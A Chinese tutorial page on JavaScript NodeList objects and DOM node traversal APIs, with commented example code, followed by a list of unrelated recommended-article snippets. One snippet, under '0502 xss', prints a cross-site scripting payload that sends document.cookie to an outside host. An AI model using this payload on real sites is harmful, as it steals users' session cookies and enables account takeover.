NodeList对象的特点
nodeList对象的特点
1,nodeList是一种类数组对象,用于保存一组有序的节点。
2,通过方括号来访问nodeList的值,有item方法与length属性。
3,它并不是Array的实例,没有数组对象的方法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script src="js/domready.js"></script><!--必须导入该文件,搜狗输入domready.js-->
<script>
myReady(function(){
var div=document.getElementById('div');//获取div对象
//获得节点列表(nodeList),这是属于操作DOM第一套API,所以会计算空文本节点,
//(google chrome)显示:NodeList(5) [text, ul#ul1, text, ul#ul2, text] text表示空文本节点
//(firefox)显示:NodeList(5) [ #text, ul#ul1, #text, ul#ul2, #text ] #text表示空文本节点
//console.log(div.childNodes);
//console.log(div.childNodes[0]);//通过方括号获取对象,如:获取第一个nodeList对象 #text(空文本节点)
//console.log(div.childNodes[3]);//通过方括号获取对象,如:第三个对象 ul#ul2
var ul=document.getElementById("ul1");//获取ul对象
var nodeList=ul.childNodes;//获得ul下面的所有子节点对象列表 nodeList并不是一个数据类型。
//alert(typeof nodeList);//返回的是 Object类型。
/**
* 把nodeList转化为数组对象 可以兼容IE5以上,兼容性很好。
* @param {object} nodeList 获取所有子元素对象列表
* @return {array} [返回数组对象]
*/
function markArray(nodeList){//把nodeList转换成数组
/*var arr=new Array();//创建新数组存放nodeList
for (var i = 0; i < nodeList.length; i++) {
arr[i]=nodeList[i];//把nodelist存放到数组中。
}
return arr;//返回数组*/
/**
* 非常高效的把nodeList转化为数组对象 IE8以及IE8以下不兼容
* @param {object} nodeList 获取所有子节点列表对象
* @return {Array} 返回数组对象
*/
/*function markArray(nodeList){//可以直接把nodeList直接转换成Array数组。
return Array.prototype.slice.call(nodeList);//可以直接把nodeList直接转换成Array数组。
}*/
//这个方法最好,通用方法:
var arr=null;//用于存放对象的变量,一般都给赋值null。其他可以赋值为""。
try{
return Array.prototype.slice.call(nodeList);//可以直接把nodeList直接转换成Array数组。IE8以及IE8以下不兼容
}catch(e){
arr=new Array();//不要定义在不需要的作用域。
for (var i = 0; i < nodeList.length; i++) {//可以兼容IE7以上,兼容性很好。
arr.push(nodeList[i]);//等于 arr[i]=nodeList[i]
}
return arr;
}
}
var newarray=markArray(nodeList);//把nodeList转换成数组,
//console.log(markArray(nodeList));//输出数组对象:Array(7) [ #text, li#oneLi, #text, li#twoLi, #text, li#threeLi, #text ],查看是不是数组,可以在控制台点击,查看prototype(原型)这个属性:Array
newarray.push("<h1>You are my sumshime!</h1>");//添加对象,返回的是数组的长度,而不是数组本身。
console.log(newarray);//返回数组:(8) [text, li#oneLi, text, li#twoLi, text, li#threeLi, text, "<h1>You are my sumshime!</h1>"] 。h1这个节点只是被添加到newarray数组中,并没有添加到dom树中去。
})
</script>
</head>
<body id="body">
<div id="div">
<ul id="ul1">
<li id="oneLi"><a href="">1111</a><a href="" id="onea">22222</a><span id="span1"> </span> <span id="span2"></span></li>
<li id="twoLi"><a href="">4444</a><a href="" >5555</a><a href="">6666</a></li>
<li id="threeLi"><a href="">7777</a><a href="" >8888</a><a href="">9999</a></li>
</ul>
<ul id="ul2">
<li></li>
<li></li>
<li></li>
</ul>
</div>
</body>
============以下是第一种操作DOM的API,会把空文本节点计算在内。相比下面的第二套API兼容性会好点=========================
//在控制台获取对象时:点击所获取的对象在firefox中显示各种属性,在chrome中是显示其子元素以及孙子元素的所有内容。
DOM节点操作,标签之间的换行空文本节点在IE浏览器和firefox火狐浏览器中会读取,其他浏览器不会读取,需要兼容性方法,见搜狗:遍历节点
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script src="js/domready.js"></script><!--必须导入该文件,搜狗输入domready.js-->
<script>
//===========================这里获得的所有对象都是可以点开查看各种属性=============================
myReady(function(){
var ul=document.getElementById('ul1');
var li1=document.getElementById("one");
var li2=document.getElementById("two");
var li3=document.getElementById("three");
//console.log(document.childNodes[0]);//获取文档第一个子节点:<!DOCTYPE html>对象 ,点开可以看到各种属性及属性值(火狐),在谷歌中显示的是:所获取对象下面的所有子元素内容。
//console.log(document.firstChild);//获取文档第一个子节点:<!DOCTYPE html>对象 ,点开可以看到各种属性及属性值(火狐),在谷歌中显示的是:所获取对象下面的所有子元素内容。
//console.log(document.childNodes.item(0));//获取文档第一个子节点:<!DOCTYPE html>对象 ,点开可以看到各种属性及属性值(火狐),在谷歌中显示的是:所获取对象下面的所有子元素内容。
//console.log(document.childNodes[0].tagName);//获取文档第一个子节点:<!DOCTYPE html>对象的标签名称:undefined
//console.log(document.firstChild.tagName);//获取文档第一个子节点:<!DOCTYPE html>对象的标签名称:undefined
//console.log(document.documentElement);//文档根节点:html对象,点开可以看到各种属性及属性值
//console.log(document.documentElement.tagName);//html标签名称
//console.log(document.documentElement.firstChild);//获取HTML的第一个子节点:head对象,点开可以看到各种属性及属性值(火狐),在谷歌中显示的是:所获取对象下面的所有子元素内容。
//console.log(document.documentElement.lastChild);//获取HTML的最后一个子节点:body对象,点开可以看到各种属性及属性值(火狐),在谷歌中显示的是:所获取对象下面的所有子元素内容。
//console.log(document.documentElement.firstChild.tagName);//获取HTML的第一个子节点的标签名称:head
//console.log(document.documentElement.lastChild.tagName);//获取HTML的最后一个子节点的标签名称:body
var ul=document.getElementById("ul1");
//获得第一个和最后一个子节点有三种方式:
//console.log(ul.firstChild);//空文本子节点
//console.log(ul.childNodes[0]);//空文本子节点
//console.log(ul.childNodes.item(0));//空文本子节点
var ul=document.getElementById("ul1");
//获得除了第一个和最后一个之外的节点有两种方式:
//console.log(ul.childNodes[1]);
//console.log(ul.childNodes.item(1));
var li=document.getElementById("twoLi");//获取li对象
//console.log(li.tagName);//获得li标签的名称
//console.log(li.nextSibling);//因为下面每个li都有换行,所以左右兄弟节都是空文本节点,所以这里显示:#text,谨记。
//console.log(li.previousSibling);//因为下面每个li都有换行,所以左右兄弟节都是空文本节点,所以这里显示:#text,谨记。
var a=document.getElementById("onea");//获取a对象
//console.log(a.nextSibling);//获取下一个兄弟对象: <span>333</span>
//console.log(a.previousSibling);//获取上一个兄弟对象: <a href="">1111</a>
var ul=document.getElementById("ul1");//获取ul对象
var a=document.getElementById("onea");//获取a对象
//console.log(ul.parentNode);//获得父节点 div
//console.log(a.parentNode);//获得父节点 li
var ul=document.getElementById("ul1");//获取ul对象
var a=document.getElementById("onea");//获取a对象
//console.log(ul.ownerDocument===document);
//console.log(ul.ownerDocument===document);
//console.log(document);//显示:HTMLDocument file:///D:/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/HTML/%E4%BD%9C%E4%B8%9A%E7%B4%A0%E6%9D%90/textTwo.html 表示获取该文件的绝对路径。
var ul=document.getElementById("ul1");//获取ul对象
var a=document.getElementById("onea");//获取a对象
var span1=document.getElementById("span1");//获取span对象
var span2=document.getElementById("span2");//获取span对象
console.log(ul.hasChildNodes());//返回:true. 有3个li子节点
console.log(a.hasChildNodes());//返回:true. 有"2222"文本子节点
console.log(span1.hasChildNodes());//返回:true 有空文本子节点,即:有一个空格
console.log(span2.hasChildNodes());//返回:false 没有节点
})
</script>
</head>
<body id="body">
<div id="div">
<ul id="ul1">
<li id="oneLi"><a href="">1111</a><a href="" id="onea">22222</a><span id="span1"> </span> <span id="span2"></span></li>
<li id="twoLi"><a href="">4444</a><a href="" >5555</a><a href="">6666</a></li>
<li id="threeLi"><a href="">7777</a><a href="" >8888</a><a href="">9999</a></li>
</ul>
<ul id="ul2">
<li></li>
<li></li>
<li></li>
</ul>
</div>
</body>
//===========================以下是第二种操作DOM的API,忽略空文本节点。不兼容IE8及其以下=============================
//在控制台获取对象时:点击所获取的对象在firefox中显示各种属性,在chrome中是显示其子元素以及孙子元素的所有内容。
//第二套API是比较专门针对文本DOM节点进行开发的,所以每个属性都带有element(元素),除了children[i]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script src="js/domready.js"></script><!--必须导入该文件,搜狗输入domready.js-->
<script>
myReady(function(){
var div=document.getElementById('div');//获取div对象
//console.log(div.childElementCount);//获取div的子节点个数,孙子节点不管。
var ul1=document.getElementById("ul1");//获取ul1对象
//console.log(ul1.firstElementChild);//获取第一个子元素,点击在FF中显示各种属性,在chrome中是显示其子元素以及孙子元素的所有内容。
//console.log(ul1.lastElementChild);//获取最后一个子元素,点击在FF中显示各种属性,在chrome中是显示其子元素以及孙子元素的所有内容。
var a=document.getElementById("onea");//获取a对象
//console.log(a.nextElementSibling);//获取id=onea 标签的下一个兄弟元素
//console.log(a.previousElementSibling);//获取id=onea 标签的前面一个兄弟元素
var ul1=document.getElementById("ul1");//获取ul对象
console.log(ul1.children[0]);//获取id=ul1的第一个子元素,忽略所有空文本节点
console.log(ul1.children[1]);//获取id=ul1的第二个子元素,忽略所有空文本节点
console.log(ul1.children[2]);//获取id=ul1的第三个子元素,忽略所有空文本节点
})
</script>
</head>
<body id="body">
<div id="div">
<ul id="ul1">
<li id="oneLi"><a href="">1111</a><a href="" id="onea">22222</a><span id="span1"> </span> <span id="span2"></span></li>
<li id="twoLi"><a href="">4444</a><a href="" >5555</a><a href="">6666</a></li>
<li id="threeLi"><a href="">7777</a><a href="" >8888</a><a href="">9999</a></li>
</ul>
<ul id="ul2">
<li></li>
<li></li>
<li></li>
</ul>
</div>
</body>
NodeList对象的特点的更多相关文章
- HTMLCollection 对象和NodeList 对象
获取html元素有三种方法,其中通过类名和标签获取的结果为一个HTMLCollection对象. HTMLCollection对象可以理解为一个包含html元素的数组(但不是数组),可以通过索引[ ] ...
- HTMLCollection对象和NodeList对象
前言 首先我们先来看下面的demo,假如我们需要给所有的li字体变一个颜色. <!DOCTYPE html> <html lang="en"> <he ...
- 怎样遍历NodeList对象
因为NodeList对象是一个类似数组的对象, 且它自带了一个 forEach() 方法, 因此可以使用 forEach() 遍历, 它的用法和 Array 里面的 forEach() 是完全一样的. ...
- js中的类数组对象---NodeList
动态 NodeList 这是文档对象模型(DOM,Document Object Model)中的一个大坑. NodeList 对象(以及 HTML DOM 中的 HTMLCollection对象)是 ...
- js复制对象 和 节点类型和NodeList
1. myList.cloneNode(true); 在参数为true的情况下,执行深复制,也就是复制节点及其整个子节点树,包括属性 2. myList.cloneNode(false); 在参数为f ...
- (一)类数组对象NodeList
NodeList对象的特点: NodeList是一种类数组对象,用于保存一组有序的节点. 可以通过方括号语法来访问NodeList的值,有item方法与length属性. 它并不是Array的实例,没 ...
- querySelector()与querySelectorAll()的区别及NodeList和HTMLCollection对象的区别
querySelector().Document.Element类型均可调用该方法. 当用Document类型调用querySelector()方法时,会在文档元素范围内查找匹配的元素:而当用Elem ...
- NodeList类数组对象: HTMLCollection , NamedNodeMap,两套API(childNodes , children)
快捷键:leishuzuduixiang(类数组对象) bianlijiedian(遍历节点) jiedian(节点) htmlcollection , namednodemap , nodel ...
- 深入理解javascript中的动态集合——NodeList、HTMLCollection和NamedNodeMap
× 目录 [1]NodeList [2]HTMLCollection [3]NamedNodeMap[4]注意事项 前面的话 一说起动态集合,多数人可能都有所了解.但是,如果再深入些,有哪些动态集合, ...
随机推荐
- Centos7下关闭Firewalls配置iptables
在网上搜索了很多这种资料,现在总结一下以备后用. 1.关闭防火墙:sudo systemctl stop firewalld.service 2.关闭开机启动:sudo systemctl disab ...
- Kubernetes---资源控制器之DaemonSet、Job和CronJob
⒈DaemonSet介绍,什么是DaemonSet DaemonSet 确保全部(或者一些)Node 上运行一个Pod的副本[注意主节点并不会参加调度].当有 Node 加入集群时,也会为他们新增一个 ...
- 20190716-Python网络数据采集/第 2 章 复杂HTML解析
# P29/9# 解析,要考虑到可持续性问题,对方反爬修改后,仍继续有效,方为优秀代码# 解析一个目标网页前,需要做到以下几点:(1)明确目标内容:(2)寻找“打印此页”的链接,或查看网站有无HTML ...
- Go-函数高级使用-条件分支-包管理-for循环-switch语句-数组及切片-与或非逻辑符
目录 科普 python 注释 # 函数高级 if else if else 包管理 下载第三方包 比较热门的框架 for 循环 for 循环的几种写法 switch 语句 数组及数组切片 数组迭代 ...
- golang数据类型
整数类型 Golang各整数类型分:有符号和无符号,int uint 的大小和系统有关. Golang查看一个变量的数据类型: package main import "fmt" ...
- git忽略而不提交文件的3种情形
1.从未提交过的文件可以用.gitignore 也就是添加之后从来没有提交(commit)过的文件,可以使用.gitignore忽略该文件 该文件只能作用于未跟踪的文件(Untracked Files ...
- CF336C-Vasily the Bear and Sequence题解--贪心
题目链接 https://www.luogu.org/problemnew/show/CF336C 分析 一个比较妙的贪心 我们要让最后\(and\)起来的数被\(2^k\)整除且\(k\)最大,我们 ...
- QT Creator 使用SVN的版本号做为编译的版本信息
在使用qt Creator 开发中,如果想使用 svn 的源代码版本号来作为 build 的一个子版本号或者只是为了识别某个发布版本,与源代码的版本信息对应起来,可以方便调试对应的版本代码,我们可以通 ...
- 【转】Fetch超时设置和终止请求
原文链接:https://www.cnblogs.com/yfrs/p/fetch.html 1.基本使用 Fetch 是一个新的端获取资源的接口,用于替换笨重繁琐XMLHttpRequest.它有了 ...
- 0502 xss
playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...